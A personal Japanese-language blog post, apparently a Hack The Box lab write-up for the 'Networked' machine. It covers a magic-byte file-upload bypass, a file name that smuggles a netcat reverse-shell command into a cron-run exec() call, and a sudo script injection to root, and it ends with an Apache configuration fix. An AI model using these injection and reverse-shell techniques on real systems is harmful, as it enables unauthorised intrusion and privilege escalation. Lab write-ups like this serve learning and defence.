akkietech’s diary

セキュリティ関連メインの自分用メモ書き。twitter: @akkietech

HTB Networked攻略メモ

HTBのNetworked端末の自分用メモです。
ippsecの動画をほとんど参考にしましたが、大変参考になりました。
https://www.youtube.com/watch?v=H3t3G70bakM


init shell

dirbusterからupload.phpを発見
bakupからupload.phpを読んでアップロード可能なファイルの形式を読み取る

キーワード:magic bytes => ファイルの頭のバイト列からファイルの形式を判定する
参照例:
https://blog.netspi.com/magic-bytes-identifying-common-file-formats-at-a-glance/

今回の場合、upload.phpが「ファイル名の拡張子」と「ファイルのmagic bytes」を確認していた。
なので
・revere phpシェルファイルの頭文字に「GIF87a.」を入れる
・met_rev_4444.php.gifとしてファイルを保存
みたいにすればアップロード成功、init shell取得

gulyへの権限昇格

gulyディレクトリのcheck_attack.phpに以下の文字列がある
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$valueにファイル名が入るので、OSコマンドを含む文字列をファイル名としてつければOSコマンドの実行が可能になる。

bash-4.2$ pwd
pwd
/etc/httpd
bash-4.2$ cd /var/www/html/uploads
cd /var/www/html/uploads
bash-4.2$ pwd
pwd
/var/www/html/uploads
bash-4.2$ touch -- '; nc -c bash 10.10.14.22 4445;.php'
touch -- '; nc -c bash 10.10.14.22 4445;.php'
bash-4.2$ ls -l '; nc -c bash 10.10.14.22 4445;.php'         
ls -l '; nc -c bash 10.10.14.22 4445;.php'
-rw-r--r-- 1 apache apache 5 Jun 28 14:38 ; nc -c bash 10.10.14.22 4445;.php
bash-4.2$ 

あとはcronが実行されればgluyへの昇格が成功する。

rootへの権限昇格

sudo -l から/usr/local/sbin/changename.shの実行が可能とわかる。
/etc/sysconfig/network-scripts/ifcfg-gulyへインターフェイス情報が書き込まれるスクリプトだとわかる。
このスクリプト内では echo $x whoamiのようにスペースを空けて次のコマンドを挿入すれば、挿入したコマンドも実行できるというものらしい。
参照元
https://seclists.org/fulldisclosure/2019/Apr/24

以下のように入れれば、rootを取得できることが可能。

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
aaa
interface PROXY_METHOD:
bbb
interface BROWSER_ONLY:
ccc bash
interface BOOTPROTO:
TCP
[root@networked network-scripts]# 
補足:.php.gifがphpとして実行可能なのが危険

httpdconf内のphp.confの設定として、ファイル名に「.php」が含まれている場合は全て実行が可能になるというものなっているため。
これは設定としては不適切なため、末尾に.phpがある場合のみ実行できるように以下のように設定を修正する必要がある。

【修正前】

AddHandler php5-script .php
AddType text/html .php
DirectoryIndex index.php
php_value session.save_handler "files"
php_value session.save_path    "/var/lib/php/session"

【修正後】

<FilesMatch ".php$">
	AddHandler php5-script .php
	AddType text/html .php
</FilesMatch>
DirectoryIndex index.php
php_value session.save_handler "files"
php_value session.save_path    "/var/lib/php/session"